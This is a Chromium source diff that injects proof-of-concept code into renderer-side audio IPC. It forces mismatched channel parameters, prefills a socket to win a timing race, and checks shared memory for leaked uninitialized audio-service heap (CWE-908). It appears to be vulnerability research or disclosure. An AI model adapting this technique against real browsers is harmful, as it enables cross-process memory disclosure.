diff --git a/media/audio/audio_input_device.cc b/media/audio/audio_input_device.cc index 4aacb68f1c1c3..6046dd3197051 100644 --- a/media/audio/audio_input_device.cc +++ b/media/audio/audio_input_device.cc @@ -5,6 +5,8 @@ #include "media/audio/audio_input_device.h" #include +#include +#include #include #include @@ -135,6 +137,25 @@ void AudioInputDevice::Initialize(const AudioParameters& params, DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); DCHECK(params.IsValid()); DCHECK(!callback_); + // ===== POC INJECTION (renderer-side) ===== + // Simulate a compromised renderer requesting the loopback input stream with + // {layout=CHANNEL_LAYOUT_DISCRETE, channels=8}. The audio service builds + // SnooperNode with output_params = these params and input_params = the + // OutputController's {DISCRETE, channels=1}. SnooperNode picks + // ChannelMixStrategy::kNone (layouts equal) but the resampler only writes + // channel 0, leaving channels [1,8) of mix_bus_/transfer_bus_ uninitialized. + audio_parameters_ = media::AudioParameters( + media::AudioParameters::AUDIO_PCM_LOW_LATENCY, + media::ChannelLayoutConfig(media::CHANNEL_LAYOUT_DISCRETE, 8), + 48000, 480); + fprintf(stderr, + "[POC] AudioInputDevice::Initialize override => %s\n", + audio_parameters_.AsHumanReadableString().c_str()); + callback_ = callback; + if (audio_parameters_.IsValid()) { + return; + } + // ===== END POC INJECTION ===== audio_parameters_ = params; callback_ = callback; } @@ -474,6 +495,61 @@ void AudioInputDevice::AudioThreadCallback::Process(uint32_t pending_data) { // Use pre-allocated audio bus wrapping existing block of shared memory. const media::AudioBus* audio_bus = audio_buses_[current_segment_id_].get(); + // ===== POC INJECTION (renderer-side) ===== + // Inspect the audio data the audio service wrote into our shared memory. + // With ASAN_OPTIONS=malloc_fill_byte=190:max_malloc_fill_size=..., any + // uninitialized AlignedUninit heap in the audio service is filled + // with 0xBE bytes. If channels [1, N) carry 0xBE-pattern floats, that + // proves the audio service copied uninitialized heap into renderer-mapped + // shared memory (CWE-908). + { + static int s_packets = 0; + if (s_packets < 4000 && audio_bus->channels() > 1) { + ++s_packets; + int leaked_channels = 0; + int nonzero_channels = 0; + for (int ch = 1; ch < audio_bus->channels(); ++ch) { + base::span ch_span = audio_bus->channel(ch); + base::span bytes = + base::as_bytes(base::allow_nonunique_obj, ch_span); + size_t be_count = 0; + size_t nonzero_bytes = 0; + for (uint8_t b : bytes) { + if (b == 0xBE) ++be_count; + if (b != 0x00) ++nonzero_bytes; + } + if (be_count * 2 > bytes.size()) ++leaked_channels; + if (nonzero_bytes > 0) ++nonzero_channels; + if (s_packets <= 3 || be_count > 0) { + uint32_t w0 = 0, w1 = 0; + if (bytes.size() >= 8) { + base::span(base::byte_span_from_ref(w0)).copy_from(bytes.first(4u)); + base::span(base::byte_span_from_ref(w1)) + .copy_from(bytes.subspan(4u, 4u)); + } + fprintf(stderr, + "[POC] pkt=%d ch=%d frames=%zu be_bytes=%zu/%zu " + "nonzero_bytes=%zu first_words=%08x %08x\n", + s_packets, ch, ch_span.size(), be_count, bytes.size(), + nonzero_bytes, w0, w1); + } + } + if (leaked_channels > 0) { + fprintf(stderr, + "[POC] *** UNINITIALIZED-HEAP LEAK CONFIRMED *** " + "%d/%d extra channels carry the 0xBE malloc-fill pattern " + "from the audio service process.\n", + leaked_channels, audio_bus->channels() - 1); + } else if (nonzero_channels > 0) { + fprintf(stderr, + "[POC] %d/%d extra channels carry non-zero data from the " + "audio service heap.\n", + nonzero_channels, audio_bus->channels() - 1); + } + } + } + // ===== END POC INJECTION ===== + // Regularly inform that we have gotten data. frames_since_last_got_data_callback_ += audio_bus->frames(); if (frames_since_last_got_data_callback_ >= @@ -496,8 +572,17 @@ void AudioInputDevice::AudioThreadCallback::Process(uint32_t pending_data) { base::TimeDelta delay = now_time - capture_time; stats_reporter_.ReportCallback(delay, glitch_info); - capture_callback_->Capture(audio_bus, capture_time, glitch_info, - buffer->params.volume); + // ===== POC INJECTION (renderer-side) ===== + // A compromised renderer reading the leaked bytes doesn't forward them to + // the WebRTC audio processor (which expects different params). Skip the + // downstream Capture() call to keep the renderer alive while we observe + // packets; still update has_unread_data / current_segment_id_ below so the + // audio service keeps writing. + if (audio_bus->channels() == 1) { + // ===== END POC INJECTION ===== + capture_callback_->Capture(audio_bus, capture_time, glitch_info, + buffer->params.volume); + } // Use memory_order_release to create a memory barrier that ensures that // callback_capture_->Capture() doesn't get moved to after has_unread_data diff --git a/third_party/blink/renderer/modules/media/audio/mojo_audio_output_ipc.cc b/third_party/blink/renderer/modules/media/audio/mojo_audio_output_ipc.cc index 3416e53f53561..9d891bdeabfae 100644 --- a/third_party/blink/renderer/modules/media/audio/mojo_audio_output_ipc.cc +++ b/third_party/blink/renderer/modules/media/audio/mojo_audio_output_ipc.cc @@ -4,8 +4,14 @@ #include "third_party/blink/renderer/modules/media/audio/mojo_audio_output_ipc.h" +#include +#include +#include #include +#include "media/base/audio_parameters.h" +#include "media/base/channel_layout.h" + #include "base/metrics/histogram_macros.h" #include "base/task/single_thread_task_runner.h" #include "media/audio/audio_device_description.h" @@ -90,6 +96,26 @@ void MojoAudioOutputIPC::CreateStream(media::AudioOutputIPCDelegate* delegate, receiver_.set_disconnect_with_reason_handler( BindOnce(&MojoAudioOutputIPC::ProviderClientBindingDisconnected, Unretained(this))); + + // ===== POC INJECTION (renderer-side) ===== + // Simulate a compromised renderer requesting an output stream with + // {format=AUDIO_FAKE, layout=CHANNEL_LAYOUT_DISCRETE, channels=1}. This + // becomes the OutputController params and thus SnooperNode's input_params. + // AUDIO_FAKE makes the audio service use FakeAudioOutputStream, which + // accepts any channel geometry and pumps OnMoreData on a worker thread. + media::AudioParameters poc_params( + media::AudioParameters::AUDIO_FAKE, + media::ChannelLayoutConfig(media::CHANNEL_LAYOUT_DISCRETE, 1), + 48000, 32); + fprintf(stderr, + "[POC] MojoAudioOutputIPC: overriding Acquire() params => %s\n", + poc_params.AsHumanReadableString().c_str()); + if (poc_params.IsValid()) { + stream_provider_->Acquire(poc_params, std::move(client_remote)); + return; + } + // ===== END POC INJECTION ===== + stream_provider_->Acquire(params, std::move(client_remote)); } @@ -240,6 +266,41 @@ void MojoAudioOutputIPC::Created( data_pipe->shared_memory; DCHECK(shared_memory_region.IsValid()); + // ===== POC INJECTION (renderer-side) ===== + // The audio-service-side stream was created with our overridden DISCRETE/1 + // params, which differ from what the renderer-side AudioOutputDevice + // expects. Skip wiring up the renderer's audio thread (it would CHECK on + // shared-memory size). Just call Play() so the audio service starts + // FakeAudioWorker, which drives OutputController::OnMoreData and thus + // SnooperNode::OnData. + // + // Critically: pre-fill the SyncSocket with incrementing buffer indices so + // that SyncReader::WaitUntilDataIsReady() in the audio service never blocks. + // This collapses the per-OnMoreData wait from ~0.63ms to ~0us, so the + // SnooperNodes receive their first OnData() before the loopback worker + // thread runs the first GenerateMoreAudio(). + fprintf(stderr, + "[POC] MojoAudioOutputIPC: stream created, prefilling socket + " + "Play()\n"); + if (stream_.is_bound()) { + int fd = socket_handle.get(); + int fl = ::fcntl(fd, F_GETFL); + ::fcntl(fd, F_SETFL, fl | O_NONBLOCK); + uint32_t i = 0; + for (; i < 20000; ++i) { + if (::write(fd, &i, sizeof(i)) != static_cast(sizeof(i))) { + break; + } + } + fprintf(stderr, "[POC] MojoAudioOutputIPC: prefilled %u acks\n", i); + stream_->Play(); + // Intentionally leak the socket FD so the audio service doesn't see a + // closed pipe and tear down the stream. + (void)socket_handle.release(); + return; + } + // ===== END POC INJECTION ===== + delegate_->OnStreamCreated(std::move(shared_memory_region), std::move(socket_handle), expected_state_ == kPlaying);